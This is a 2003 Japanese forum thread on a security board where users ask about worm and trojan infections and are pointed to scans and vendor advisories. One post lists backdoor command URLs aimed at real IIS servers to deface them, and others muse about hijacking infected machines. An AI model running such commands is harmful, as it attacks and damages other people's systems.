デロダーってファイル共有サービスにログインしてスタートアップにトロイ置くだけ？

3.15(土)　ピースウォーク　PM 5:00　渋谷宮下公園
http://www.zengakuren.jp/

アメリカの暴走にのって攻撃を支持すれば、日本の国土を危険にさらしかねない。

教えて下さい（ＯＳはＭＥです）お願いします。
何かＰＣの調子が最近おかしいので、システムの復元をしようと思ったら
今までは復元ポイントがいくつもあったのに（カレンダーみたいに）
今はポイントが一つも無いんです（カレンダー自体ない、選択できない）
しかもこの日に対して復元ポイントがありませんと書いてある上には
＜　　　　　　　1899年12月30日　　　　　　　　＞　
こんな感じになってます。
1899年？？？？
左右の矢印みたいなの押してもだめ
最近ウイルスに感染してたみたいでJS_EXCEPTION.GENとHTML_SUAR.Aに
感染してたのですが関係あるのでしょうか？
他にもウイルスあったけど忘れてしまいました。
ウイルスが元で復元ポイントがおかしくなるとかありますか？

追記です
復元ポイントを作成しようとしたら
復元ポイントの作成に失敗しましたとの文がでました。
どうかお願いします。

ない。

回答有難う御座います

しゃれたサイトだ
http://homepage3.nifty.com/digikei/ten.html
　　　　　　　　　　　∧..∧
ｷﾀ━━━━━━（ ´Д｀）￣￣￣￣￣￣￣￣￣　￣￣￣￣￣￣￣￣￣
　　　　　 　　　　　 　'/ / ＼　＿＿　　￣￣￣￣￣￣＿＿＿＿＿
　　　　　　　　　　　 / /　　. ＼　　　＿＿　　　　　＿＿＿＿＿＿
　　　　　　　,.,..,.、,,,,/ /、,＼ 　. ）..,_　　　　　 　／i
　　　　　　;'　´Д｀(ノ,:、,／ ／:,.:::: ::｀゛:.:゛:｀''':,'.´ -‐i　￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　　'、　;: ...: ,:. :.:.:.＼ ＼ _;.;;..; :..‐'゛ ￣ ￣ 　￣￣￣￣￣￣￣￣
　　　　　　　｀"゛"゛' ''`゛ `'(＿__)

ポート445って塞いでもイイの？

共有せんのやったら(･∀･)ｲｲ!

ＯＳって入れ替えると、今パソに入ってるデータ全部消えるの？

>>303
板違い。パソコン初心者＠2ch掲示板http://pc2.2ch.net/pcqa/

http://www.agemasukudasai.com/bloom/

DELODERの件だけど、WindowsXPのHEは普通に使っている限り
Adminアカウントは「制限のため入れない」みたいな警告でて
ログインできない。だから感染しないみたいだが、実際どうなんだろな。
逆にセーフモードで起動した状態だとAdminで入れるんだよな。
DELODERがあれば実験してみるところだが、持ってないのでできん。

で、ﾃﾞﾛﾀﾞに感染したってやつに聞きたいんだけど、
やっぱり簡単なﾊﾟｽを使っていたの？

>>307
トレンドマイクロにでろだが使うパス一覧がある。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_DELODER.A&VSect=T

さて問題です。
トレンドマイクロは不正アクセス禁止法に違反ではないのでしょうか?
どのホストと指定しないからセーフかな?

>>308
adminiもｽﾍﾟｰｽも大丈夫なのか。なるほど。
なんで不正ｱｸｾｽ？

age

へぇ〜そうなの・・。
http://hkwr.com/
http://hkwr.com/bbs

ということはadminアカウントにパスワード設定すれば
デロダーは防げるということか。

すいません、出ろ基地下さい。

出ろ基地などというものはない。

デロダーにかかったﾔｼはこっちも見ると吉

【IT】パスワード甘いPCに侵入　新種ウィルスに感染警報
http://news2.2ch.net/test/read.cgi/newsplus/1047295113/

で、デロダでVNC入れられたヤツ
VNCのポートは何番だった？パスワードは？

445にパケ送ってくる奴のデスクトップで遊べるかもしれん

ウィルスバスター の検索結果で BAT_FOEOAPC.J ってのが
見つかったと言われたが、こんな名前のウィルス情報、何処
にも無いんですが…なんじゃろか？

>>316
お前、リモート操作ソフトは VNC だけだと思ってるのかと小一時間。。。

>>318
は？ なんでそう思ったの？
デロダでVNC入れられたヤツ多いからさ

age

ttp://playstation2.hotgames.com/games/ringof/readme.eml
このウィルスにひっかかってしまったのですが、ウイルスバスターなどない場合どうすればいいですか？
今のところ特に以上ナシです、。

>>321
ウィルス感染の可能性がある場合、直ちにネットワークから切断汁。
>>2>>6
やむを得ない場合はオンラインスキャン。
http://www.symantec.com/region/jp/securitycheck/index.html
http://www.trendmicro.co.jp/hcall/index.asp
今後はアンチウィルスソフトを常駐させておくこと。

>>321
ていうか、貼るなよ。被害者が増えるでしょ。
ここを読みなはれ。
http://www.trendmicro.co.jp/nimda/

>>323
今時、荷無駄に感染する馬鹿はあぼーんするのが世のため人のため。

>>324
あぽーんされると漏れの仕事が増えるからイヤーン。
ウィルス対策ソフトに予算が出ない会社で管理者モドキしてるから。

>>325
いまどきそんな会社、会社ごとあぼーんされろよ。

なんか昨日から default.ida (nimda だったっけ) へのアクセスが
増えてるけど、なんでだろ？

／￣⌒⌒ヽ
| ／￣￣￣ヽ　　　／￣￣￣￣￣￣￣￣￣
| |　　 ／ 　＼|　　 |
| |　　　 ´　｀　|　　 |
(6　　　　つ　/　　 .|　>>372　なんでだろう〜♪
| 　　/ ／⌒⌒ヽ＜
|　　　 ＼　￣ ノ　　|
|　　　　　/￣　　　　＼＿＿＿＿＿＿＿＿＿

>>327順位上昇中だね。
http://isc.incidents.org/

>>329
なんで今さらこんなのが来てるの？
もう1年半ぐらい前のじゃなかったっけ？

>>326
そういう会社はえてして他のソフトにも予算をさかないから、会社ごとあぼーんも充分ある。

>>330
　　☆｡:.+:　　／■＼
　　　..　:.　　（　・３・ ） 　（・３・）　なんでだろ〜なんでだろ♪
　　　　 ／￣ヽ/,― ､＼ o｡｡｡　　　　　　　　なんでだ、なんでだろ〜♪
.:☆　　 |　||三∪●）三mΕ∃.　　　　　
.:*　 　　＼＿.へ--ｲ＼ 　ﾟ ﾟ ﾟ
+:..♪.:｡ﾟ*.:..　　（＿）（＿）　　　　　☆｡:.+:
　☆｡:.+::..　　　☆:.°+　　　　　.. :
　　　｡*.:☆ﾟx*+ﾟ｡::.☆ο::.+｡　*ρ

CodeRed II (CodeRed.F)
http://securityresponse.symantec.com/avcenter/venc/data/codered.ii.html

>>333
発見日は March 11, 2003 だけど、
August 05, 2001 以降の定義ファイルで対応できるみたいね。

W32/CodeRed.a.worm
http://vil.mcafee.com/dispVirus.asp?virus_k=99142
UPDATE March 11, 2003:
The W32/CodeRed.f variant has been seen in the wild.
This variant is almost identical to the .C variant.

上げます

>>333
日本語版登場
http://www.symantec.com/region/jp/sarcj/data/c/codered_ii.html

今ごろになって…

米CERT/CCが「Deloder」ワームを警告，“弱い”パスワードのWindowsマシンが侵入される
http://itpro.nikkeibp.co.jp/free/ITPro/NEWS/20030312/1/

トレンドマイクロの方は Code Red II の情報ないね。

ただいまシマンテックのオンラインウイルスチェック中
感染ファイル30に到達しました

DOS窓が開いてなんかしてたり
入れてもいないmIRCがどうこういうメッセージが出たり
ドクロマークのアイコンのついたWARPINGとかいうソフトが勝手に起動したりあ、さっきついにVNCのメッセージも出ました

やられたい放題だョ〜！

それを言うなら「やられ放題」だろうが。

>>339
情報共有化という意味では、
どんな環境で何に感染してたかを明確に書いてもらいたいのだが。

ブラクラをうっかり踏んで以降、IEがおかしいです
指定したのと違うページに飛んでしまいます

オンラインウィルススキャンやウィルスバスターのお試し版では
探せなかったのですが、なんとか直す方法無いでしょうか？

>>342
IE再インストールじゃだめなの？

>>342
ウィルスとは限らないから、ウィルススキャンしても意味ないことがある。
ttp://homepage2.nifty.com/winfaq/c/ietrouble.html#370

今度からは踏む前にブラクラチェッカーhttp://www.jah.ne.jp/~fild/cgi-bin/LBCC/lbcc.cgi?
使ったり、IEの設定を見直すこと。

IEの修復も試してみれ。

結局30個のファイルが感染してました
Backdoor.IRC.Zcrew　がたくさん
IRC Trojan
Trojan Horse
Hacktool.Flooder 　など

環境は　Win2000、アカウントはAdminstratorのまま、ケーブル接続。
親と弟がメールをやっているので、そこから侵入した可能性あり。

面倒なのでフォーマットしてOS再インストールします。

>>346
今後はウィルス対策製品導入して常駐させとけよ。
IRCもやめれ。

そんなことよりも、脳波がヤバいので、逝ってきます

Σ（ﾟдﾟlll)

http://www.agemasukudasai.com/bloom/

かつて猛威をふるったCode Red型の新種ワームが拡散中
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030312/2/
>>333-336

その時はIEの修復してみました
昨日はそれで直っていたのですが、今日同じ時間に
同じような症状が出てこりゃやられたのかなと焦りまして

アドレスを直接書き込んでも、ランダムにいろんなページに飛ぶような
たとえばこの板の再読み込みしようとしたらTBSのサイトに飛んだり
チェッカーにかけてみたら、そのブラクラサイトVBS_MERASH.Aがあったようなんですが
単にIEが壊れただけなんでしょうか…

>>352
メモ帳使いなよ、超軽くていいよ。

CodeRed.Fでシマンテックのセキュリティアラートでてるね。
http://www.symantec.com/region/jp/
http://www.symantec.com/region/jp/sarcj/data/c/codered.f.html
トレンドマイクロもイエローアラート。
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=CODERED.F

http://www.nai.com/japan/virusinfo/virC.asp?v=W32/CodeRed.f.worm
http://itpro.nikkeibp.co.jp/free/NT/NEWS/20030312/2/

しかし、ふつーにウィルス対策してればCodeRed.Fなんて広まるわけないんだが……

>>355
以前の定義ファイルで引っかかるわけだしね。なんでだろ。

Apacheのログ見たら、昨日だけで13発のCodeRed II様が御来訪。
Nタイプの感染活動期には、多い時でも一日あたり3〜4発くらい。（昨日は1発だけ）
感染活動に新技を繰り出してくるわけでもないのに、
どうしてIIが広まってるのか、本当に不思議だね。
IISのパッチ当てずに、半端なワクチンだけで防いでたヤツがやられてるのかな？

緊張感の緩んだ端境期に鯖起てた人とか

また半島か？

南北馬鹿半島&中国

うちは昨日だけでも100回くらい来訪、
どうやら半島系が多いみたい

中にはAhooBBも（ｗ

>>361

http://isc.incidents.org/top10.html

世界中にで晒されてるぞ(w

WinXPのHomeEditionは、SafeモードじゃないとAdministratorにはならないんでしょ？
だったらDELODER平気じゃない？？違うの？？

>>363
>>337 http://pc.2ch.net/test/read.cgi/sec/1047322179/

>>363
お前みたいな馬鹿がいるから…（鬱

>>365
お前もな（ｗ

age

pley.exe 、valent[1].jpg、仕事でメールアドレス晒してると
いらん添付ファイルが送られてきて鬱だ。

age

>>361
やり返せ！

view-source:http://218.14.47.235/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://200.82.153.179/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://200.204.68.125/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://61.64.194.148/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://203.94.68.166/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://161.77.36.168/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://12.242.174.219/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://194.230.248.106/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://203.162.122.156/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://218.62.170.128/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://64.146.28.203/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://218.11.130.97/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp
view-source:http://218.11.130.212/scripts/root.exe?/c+echo+itteyoshi+>+d:\inetpub\wwwroot\iisstart.asp
view-source:http://200.69.228.169/scripts/root.exe?/c+echo+itteyoshi+>+c:\inetpub\wwwroot\iisstart.asp

hhp://ime.nu/imu.nu/ime.nu/zone.cside.com/asobi/kiken/a/a2.htm
を踏んだら、ネットワークには繋がるのにどのアドレスを入れても
ページが表示されません泣
ほんとに困ってます。誰かアドバイスお願いします！！

>>371
ウイルスチェック

>>370
ローカルルール違反。板TOP参照。

板違い、または既出済かもしれません。その時は誘導願います。

週末の昼頃になると必ず（３週続けて）メールの「送信」が出来なくなってしまいます。
（エラーメッセージはでません。「送信メッセージ」フォルダにメールが残った状態で正常に終わります。）
ネットワーク上に10台程WinPCがあるのですが、その1台だけがトラブリます。
そして週明けになると何事もなかったように直ります。

多方面から原因を調べているのですが、もしかしたら「トロイ木馬」系かな…と思い質問しに来ました。
こんなウイルスorトロイってありますか？
環境はWin98　OE5　ISDN回線です。

よろしくお願いします。

>>374
当然ウィルススキャンした上での質問だろうね。
>ウィルスかどうかはウィルススキャンして判断してください。>>1

>>375
もちろんでございます！！
ウイルスバスターです。

>>376
なら、残念ながら板違い。もう少し状況を整理して
http://pc2.2ch.net/pcqa/で。

>>377
…ということは「ウイルスorトロイ」系ではないということでしょうか？
ありがとうございます。
また、別の面から調べてみます。

>週末の昼頃になると必ず（３週続けて）メールの「送信」が出来なくなってしまいます

おーい誰かこんな下らないウィルス作る暇な奴いるか〜？

>>379
世の中ヒマなやつもいるもんだ
ｵﾚﾓﾅｰ

age

Backdoor.Dvldr にやられて
ファイル削除したのに正常終了しなくなりました。

どうしたらよいかわかりません。
ご存知の方いらっしゃれば教えてください。

この度でろだに感染。
初心者なのでまったくわけがわからず業者に頼んで駆除
してもらいました。
甘えん坊な私は逝って来ます・・・。

>>383
自分で下手にいじってパソコンぶっ壊すよりは数倍マシだと思う

俺もそう思う。

すみません、教えて下さい。
トレンドマイクロのオンラインスキャンを試したところ、TROJ_DELWINDという
ウィルスに感染していると出ました。
しかし上記サイトやマカフィーのウィルス情報には載っていませんでした。
ググるとひとつだけそれらしいリストに「TROJ_DELWIND.A」という名前で
出ているだけです。
もし対処方法をご存知の方がいらっしゃいましたら、教えて頂けませんでしょうか？
環境はＸＰ、2000Proのデュアルブートです。

>>386おそらく単なるシステムファイルとかHDD破壊系のトロイ
感染も増殖もしないから該当ファイルを削除
http://www.pestpatrol.com/PestInfo/db/d/delwindows_trojan.asp

>>384ぶっ壊して馬鹿がPC使わなくなる方が平和でいい。

>>387
よ、横文字サイト・・・w

了解です。早速やってみます。
ありがとうございました。

>>387
あああああぁぁぁああああアア！！！！！

英語じゃねぇかぁぁああああああアアアアアア！！！！！！！！

age

あぼーん

>>391
ウィルス持って無いから由見かおるの肛門パンティ送っときますた。

＞この板は、LANや個人のPCへの侵入、トロイ、ウィルス等、
＞様々なネット上の危険からの防御法や対策を語りあうための板です。
＞掲示板の荒らし方や侵入の方法、メールボムの送り方等、
＞攻撃方法の質問はご遠慮下さい。
＞2ちゃんねるでは荒らし依頼は出来ません。
＞また、この板ではアタック依頼は受け付けません。
＞攻撃依頼を見かけた方は、放置してください。

age

昨日・今日と続けざまにKlez.H@mmが送られてくるのですが、
これのメールのFromが全部president*@whitehouse.govなんですよね。
(*部分はそれぞれ違う)
もちろんヘッダの「Received: from」のドメインはwhitehouse.govなんかじゃないわけですが。
Klez.H@mmってこんな偽装するんでしたっけ？

>>395
KlezはFromを偽装する。

ありがとうございます。
言葉が足りなくて住みません。

From偽装するのは知ってたんですが、4〜5通着たすべてFromが「president*@whitehouse.gov」なので、あれれ？と思ったのです。
亜種かなぁ？とか・・・。
単なる偶然ですかね。

2chでウイルスを貼ってあるリンク対策でいい方法があれば教えて下さい。

2chに繋げない

http://www2.strangeworld.org/uedakana/sahra6138.jpg
これ踏んでしまったのだけどどうやらウィルスらしく
マイコンピューターにアクセスするたびに例外が発生して再起動くらいます。
オンラインスキャンをやろうとしたところスキャン事態マイコンピューターにアクセスするため
例外が発生してウィルスを削除できません。
どうすればいいのでしょうか？教えて下さい

一応インターネット一時ファイルの削除はしましたがまだ例外が発生します。

>>400単なるブラクラなんだけどなぁ・・・
crashmeをウィルス認定なんかしてるのはトレンドマイクロだけだし。
例外云々はWindowsならそのうち起きるもんだし
嘘だと思うならViewsourceで見てみれば？

ってことを何遍言っただろうか。ふぅ

怪しいリンクはブラクラチェッカで（略

ブラクラチェッカ
http://www.jah.ne.jp/~fild/cgi-bin/LBCC/lbcc.cgi?

なお、ノートンインターネットセキュリティを使っている人は、
cgi.coara.or.jpにリファラを返すよう設定したうえでブラクラチェッカ
を使ってください。
http://service1.symantec.com/SUPPORT/INTER/nisjapanesekb.nsf/jp_docid/20021020160209947

パケットの送信が勝手に増えるんです。
ウイルスバスターで検索しても何も出てきません。
これって、なんなんでしょうか？

>>404
どこへの送信が増えてるのか分からないので、コメント出来ません。

[email protected][email protected]@hotmail.com

どうやって調べたら良いのでしょうか

>>404 windump

http://news2.2ch.net/test/read.cgi/newsplus/1047814991/l50

ウイルスについての法案

age

CodeRed、かなりたくさん来てるね

やってみたけど、なにも起動していない状態で、すごい勢いでスクロールして読み取れない。
読んでもわからないけどね。
どしたらいいですか？

age

すみません、ノートン先生がいくつかウィルスを検出してくれるのですが、
どう対処したら判らないので…ご存知の方がおられましたら、アドバイスお願いします。

■オブジェクト名　C:\WINNT\Fonts\rundll32.exe
■ウィルス名　Backdoor.Dvldr
■適用した処理　ファイルを修復できません

…フォントフォルダ内なので、検出されたファイルを削除したりすればOKかな？と思ったのですが、
そのファイルが見当たらないので削除できないのです…。

■オブジェクト名　C:\WINNT\Fonts\rundll32.exe
■ウィルス名　Backdoor.Dvldr
■適用した処理　ファイルへのアクセスが拒否されました

…同上。
何度も検出されるので、困っています…

>>414
オンラインウイルス辞典くらい使えよ
http://www.symantec.com/region/jp/sarcj/data/b/backdoor.dvldr.html

>>415
あれ？
さっき見てみたときは、ウィルスの名前だけしか出なくて、解説等が空っぽだったんですけど…

ともあれありがとうございます。読んでみます。

Backdoorｷﾀ─wwﾍ√ﾚvvw─(ﾟ∀ﾟ)─wwﾍ√ﾚvv─!!!!

Backdoorｷﾏｼﾀ─wwﾍ√ﾚvvw─(ﾟ∀ﾟ)─wwﾍ√ﾚvv─!!!!

おかげさまで解決しました。
本当にありがとうございます。

起動するとCドライブ全消去みたいなexeファイルってウイルスバスターとかで対処できますか?
その対処も、exeファイル自体にウイルス検索をかけるのか、exeを実行したあと全体にかけるのか･･･

てかこの場合ウイルスとは言わないんですかね?
あとドライブ上に勝手にフォルダを作ってウイルスを作るような内容のプログラムが入ってるexeファイルの場合は
そのexeファイル自体を検索しても意味無いんですか?

>>419
ウィルスではないので、基本的にアンチウィルスソフトでは検知できません。
ただし、ベンダーによっては対応しているものも一部ある。

そういうファイルってMXとかで自分の意思でﾀﾞｳｿして実行してるんでしょ。
http://pc.2ch.net/sec/kako/1024/10249/1024943662.html

>>419ウィルスじゃなくってトロイ
WinnyやMXのファイル交換ソフトにおいて、それも日本人の間で流行してるから
日本で一般向けにそれなりのシェアを持ってるベンダーでは対応してるが
もっとも自動でファイル削除する方法なんていくらでもあるので
その全てを検出できるかは知らん。

これ以上はﾀﾞｳｿ板の親切な人にでも聞いてください。

３月５日から解凍ソフトの「LHASA」を奨めるようなウイルスメールが来るようになりました。

ソースを見ると
Received: from mx2.******.or.jp (YahooBB219210076104.bbtec.net [219.210.76.104])
とか（私は屋ふーＢＢじゃない）

Subject: LHASA

本文は
LHA & Zip extractor "Lhasa" ver0.17
一．はじめに
Lhasa は「らさ」と読んでください。･･･（略）
となっています。

またReturn-Path:が私のメールアドレスになっていてUndelivered Mailが届くようにもなりました。

そのメールは
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
となっているのですが私のアウトルックのバージョンとは違います。

安置ウイルスのメーカーページを見たのですがそのような内容は見当たりませんでした。
ちなみにウイルスは緑のハートのアイコンでした。

>>422
アンチウィルスソフトは常駐させてないの？
メール受信時にスキャンすればウィルス名が判明すると思うけど。
＞ウィルスかどうかはウィルススキャンして判断してください。

age

W32.Whiter.Trojanと言うウイルスはウイルスチェックソフトに引っ掛からないらしいんですが
現在の最新版にアップデートした場合でもチェックに引っ掛からないんでしょうか？

>>425
検索したか？
http://www.google.com/search?q=%22W32.Whiter.Trojan%22&ie=UTF-8&oe=UTF-8&hl=ja&btnG=Google+%E6%A4%9C%E7%B4%A2
少なくともノートンやウィルスバスターでは１年半ぐらい前から対応している。
http://www.symantec.com/region/jp/sarcj/data/w/w32.whiter.trojan.html
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_WHITER.D

WinnyやMXに起因する問題は、ﾀﾞｳｿ板http://tmp.2ch.net/download/で。
WinnyやMXは自己責任でやってくださいです。

>>425
http://pc.2ch.net/test/read.cgi/sec/1043502704/796-803n
>>419-421

Macro.srcについて教えてください
ググったけど、ワームだということしか分かりませんでした

>>429
こんなにいっぱいHitするのに…
http://www.google.com/search?q=%22Macro.src%22&ie=UTF-8&oe=UTF-8&hl=ja&btnG=Google+%E6%A4%9C%E7%B4%A2

具体的に何が知りたいのか書かないと答えもらいにくいよ。

>>429
Macro.srcと書いて「まくろえすあーるしー」と読みます。

ノートン先生の誤作動で有名になったやつ
以後、LoveLetter誤作動だけが流行したが

ﾌﾟﾛ(･∀･)ﾌﾟﾝﾄ!!

age

meを使っています。
最近エラーが頻繁に発生します。
ウィルスに感染しているのかも、と思い
トレンドマイクロのウイルスバスターオンラインスキャンで
チェックしたんですが、チェック中にもエラーがでます。
これは一体何なんでしょう？

>>434
マルチポスト
http://pc.2ch.net/test/read.cgi/sec/1047648810/145

わかりました
ありがとうございました

age

いきなり「○○から**.**.**.**（IPアドレス？）にインスタントメッセージがとどきました」
とかいうメッセージがでたんですけどまったく心当たりがありませぬ。
MSNメッセンジャーとか何も導入してないのに・・・
こんな風にしてウイルスがきたりしませんか？

age

>>438
これっすか？
http://pc.2ch.net/test/read.cgi/sec/1035271935/l50

Ｓｅｎｄｍａｉｌの脆弱性をついて感染、
他サーバに感染行動起こすウイルスて
いまなんか流行ってたか？

http://www.kogalu.com/sou/girls/index2.htm
これ踏んじゃいました。
どうしたらいいの?

>>442
この板では鑑定はしません。ラウンジの鑑定スレでどうぞ。
勇気が無くて見られない画像解説スレ part315
http://ex.2ch.net/test/read.cgi/entrance/1047975471/l50

ウィルス感染が気になるならウィルススキャン汁。
ブラクラチェッカも使いましょう。>>402-403

Code Redの亜種に見る，マイクロソフトの情報公開への取り組み
「TechNetセキュリティセンター」だけではなく「マイクロソフト セキュリティ」なども要チェック
今週のSecurity Check [Windows編] （第90回，2003年3月19日）
http://itpro.nikkeibp.co.jp/members/ITPro/SEC_CHECK/20030318/1/

　1991年にイラク軍がクエートに侵攻した直後、クエートの難民と称する少女が米国下院議会で泣きながら、次のような証言をしました。

　「私はクエートから脱出してきました。クエートではイラク兵が赤ちゃんを保育器から取り出して殺したのを見ました。」

　この様子はアメリカのTVから世界中に発信され、イラク軍は世界中から非難を浴びる事になりました。
しかし、この少女は当時クエートには居らず、実は駐米クエート大使の娘で、この証言はアメリカの大手広告代理店が仕事として請負い、
事前に何回もリハーサルをさせたうえで少女にさせた嘘の証言である事が後に判明しました。

　その後アメリカが参戦しブッシュ元大統領の支持率は９０％近くまで上がりました。

age

★男はココを見るべし★女と金と？？？★
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
http://www.pink-angel.jp/betu/linkvp2/linkvp.html

age

>>440
ありがとうございます。これっぽいです。
ウイルスじゃないんですね。
ウイルスじゃないのに騒いでしまって申し訳ありませんでした。

どちらを買おうか迷っています。
どちらが良いか教えて頂けないでしょうか。
よろしくお願いします。
（ＯＳはＷｉｎ　ＭＥです。）

>>450
大丈夫ですか？
最近は医療も進歩してるので早めの治療が効果的ですよ

>>450
「うまい棒」と「地獄への片道切符」のどちらかか・・・
難しい質問だな、俺は後者を薦める。

>>450
「中○生」か「高○生」のどちらかか･･･
難しい質問だな、俺は後者を薦める。

>>450
「ミスリルのこて」と「サイコダガー」のどちらかか・・・
難しい質問だな、俺は後者を薦める。

「メールで戦争反対を訴えよう」

悲しい事に望まれない戦争が始まろうとしている。
そこで私にもできる反戦活動はないかと考え実行することにした。
私一人では意味の無いので多くの人に協力をして欲しい。
内容は以下の通りである。

下記にあるアメリカ合衆国大統領宛に皆で平和への願いのメールをしよう。

アメリカ合衆国大統領
[email protected]

＜平和への願いに少しでも耳を傾けて貰うために＞
　・何度も何度もメールで訴えよう。
　・訴えることが重要だ、一言だって構わない。
　・言語は自分の国の言葉でも構わない。訴えないよりも良いからだ。
　・文章だけでなくて、画像、音声、映像等を添付するのも良いだろう。

＜より多くの人の平和への願いを送るために＞
この文を可能な限り広めて欲しい、
多くの言葉に翻訳して、
多くの人々の平和への願いを彼らに直に伝えよう。

＜最後に＞
多くの人の多くの平和への願いが集まれば大きな力となり
それを無視できないものとなるだろう・・・

世界が早く再び平和な状態に戻る事を祈って
平和が訪れるまで繰り返しメールで平和への願いを送ろうではないか。

ここ１週間位、「mIRC」がどうこういう窓が起動時に出ます。
オンラインノートンしたら、３つウィルス発見。
除去したはずなのに、まだ「mIRC」が出ます。
何だろうこれは？？

OS、ウィルス名くらい書け
つか、除去した”はず”って何よ、やってから調べてないのかい？

>>457
おーえすwin2000です。
ウィルスは、、

次のウィルスに感染しています： VBS.LoveLetter.A
次のウィルスに感染しています：IRCTrojan
次のウィルスに感染しています：IRC.Mimic

の３つでした。
感染したファイル３つとも削除したんですが、、「mIRC」がどうこうって出まつ…
（3/12定義ファイルでやったんですが、ダメです。）
さっきウィルス定義アップデートしたんで、再度やってみますが…
「mIRC」って何でしょうか…

　　 ,.´ / Vヽヽ
　　　 ! i iﾉﾉﾘ）) 〉
　　　 i l l.´ヮ｀ﾉﾘ　＜先生！こんなのがありました！
　　　 l く/_只ヽ 　　　
　　|￣￣￣￣￣|
http://saitama.gasuki.com/aomori/

【反米英日】新ﾜｰﾑ"Peace Keeper"【ｻｲﾊﾞｰﾃﾛ】
http://pc.2ch.net/test/read.cgi/sec/1017309416/

■新型ワーム「Peace Keeper」にサーバ10万台以上が感染

10万台以上のサーバが、新型ワームに感染していることが判明した。
この新型インターネットワームは、Microsoftのソフトウェアの
セキュリティホールを悪用してサーバーに侵入する。
セキュリティ会社の Security Focus が19日に明らかにした。

このワームは、ブッシュ米大統領がフセイン・イラク大統領に突きつけた最後通告の
期限が切れる１９日午後８時（米東部時間）に、米英日のサーバーに向け
「Slammer」の10倍以上にあたる膨大な量のパケットを送信する。
そしてこのトラフィックの増加によって、結果的にシステムをサービス拒否状態に
陥らせてしまう。

ただし、19日の開戦を回避した場合はこのワームは発症しない。(WIRED NEWS)

>>460
また騙されたんだね（ﾌﾟ
ってのをすでに取得してたんだが、なんか本当にありそうなので踏んでしまった・・・
サイバーテロねぇ・・・・

このスレでﾈﾀはやめれage

アホの願望は見てて哀れだねえ

age

Lop.comってスパイウェア知ってますか？
一回削除して、しばらく消えていたんですがこのごろまたでてきました、、、
ＩＥを開く度にＡｄ−ａｗａｒｅとＳｐｙｂｏｔ両方使って削除して、開いた時
ヤフーになるように設定してるんだけど電源を切って
またＰＣを起動してＩＥを開くたびＬｏｐが復活してるんです。。。
削除してもそのときはなくなるんですが、またきどうするたびに出てきます。
どうしたらいいんでしょうか？

米英の数百のサイトがクラックされたらしいけどなんか情報ない？

>>466
されてない

>>467
おまえが知らないだけだ

>>466
逆にどこでそれを知ったんだ？

>>469
セキュリティホールmemo
http://www.st.ryukoku.ac.jp/~kjm/security/memo/


あと、jaipa（社団法人日本インターネットプロバイダー協会）からのメール

-----------------------------------------------------------
> JAIPA事務局　＊＊です。
> いつもお世話になります。
>
>
> 総務省より、至急の調査依頼がありました。
>
> イラクに対する攻撃が始まった関係からか、未確認ですが、
> 他国で数百あまりのWebサイトが改ざんされたという情報があるようです。
>
> つきましては、
>
> 1.会員の皆様の現時点の状況をお知らせください。
>
> 2.また、今後これに類するような状況が発生した場合には、
> 　速やかに当協会（***@******）までご連絡ください。
>
> お忙しいところ恐れ入りますが、よろしくお願いいたします。
>
-----------------------------------------------------------

ここはウイルス質問情報スレだから、改ざんは別スレでやってくれ。

そういう電波混じりのいい加減な情報はどうでもいい

E-Z-LIVEの削除の仕方を教えてください。
本当に困ってます…（涙）
旦那が一人で夫婦共同で使っているPCに取り込んでしまったらしく、本人はもう
反省しているのですが、二人して初心者なもんで削除したくてもできないし…。
PCを再起動したらHPがエロサイトになってしまうし…。初期化するしかないので
しょうか…？
お願いです!!!初期化せずに消せる方法があるのなら教えてください!!!
以前のスレッドで似た内容のものがあったのですが削除方法がわからなかったの
で書き込ませていただきました。

>>473
http://pc.2ch.net/test/read.cgi/sec/1048152859/のスレの削除依頼
してから質問しろ。

しました…。
って言うか削除依頼できたんでしょうか…。

誰か教えてくださぁい

続報だ。スレ立てるか・・・


欧米を中心にサイバーテロの情報　総務省確認急ぐ
http://www.asahi.com/national/update/0320/017.html

>>473
質問するときはOS等環境を書かないと誰も答えられない。
http://www.geocities.co.jp/SiliconValley-SanJose/3220/startpage.htm
http://www.i-honky.com/BBS/BBS.asp?db=h04&id=804

>>465ですが、誰かお願いします・・・

>>479
Spybot等で削除した後、IEの設定を戻す必要がある。

http://pc2.2ch.net/test/read.cgi/pcqa/1047359426/3-を参考にIEを直す。

ttp://internet.watch.impress.co.jp/www/article/2003/0320/virus.htm

>>480
ありがとございます！
チェックはずしの方法で解決しました！

age

ノートンのサイトでウィルスチェックやったら
「VBS.Network.E」 というものが検出されました。
削除は容易なようなので、それほど心配してないのですが
感染元のファイルがこのセキュ板の閲覧画面だったので…
どういう事なんでしょう（汗）
OSはWIN98　この板は3月20日（昨日）に初めて訪れて、
その日に感染したようです
ファイル名は　sec[1].htm　sec[2].htm　です

>>484
>>2にもあるけれど、ノートンの誤反応

ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/

>>485
そうだったんですね・・・
ありがとう_(._.)_

★男はココを見るべし★女と金とサンプルムービー★
